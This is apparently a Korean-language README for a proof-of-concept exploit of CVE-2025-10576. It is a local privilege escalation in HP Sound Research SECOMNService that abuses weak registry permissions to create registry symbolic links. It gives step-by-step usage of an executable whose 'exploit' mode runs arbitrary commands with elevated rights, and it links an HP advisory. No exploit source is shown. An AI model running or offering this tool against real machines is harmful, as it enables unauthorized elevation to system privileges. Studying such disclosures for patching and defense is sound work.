r41n3rzuf477/cve-2025-10576HP Sound Research SECOMNService 권한 상승
HP Sound Research SECOMNService 권한 상승. 약한 레지스트리 권한으로 인해 모든 사용자가 레지스트리 심볼릭 링크를 생성하고 SECOMNService 서비스가 임의의 레지스트리 키를 생성하도록 강제할 수 있습니다.
사용 방법:
1. soundresearch_poc.exe prepare
2. SECOMNService 또는 시스템 다시 시작
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*another command*"
5. soundresearch_poc.exe cleanup
참조: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051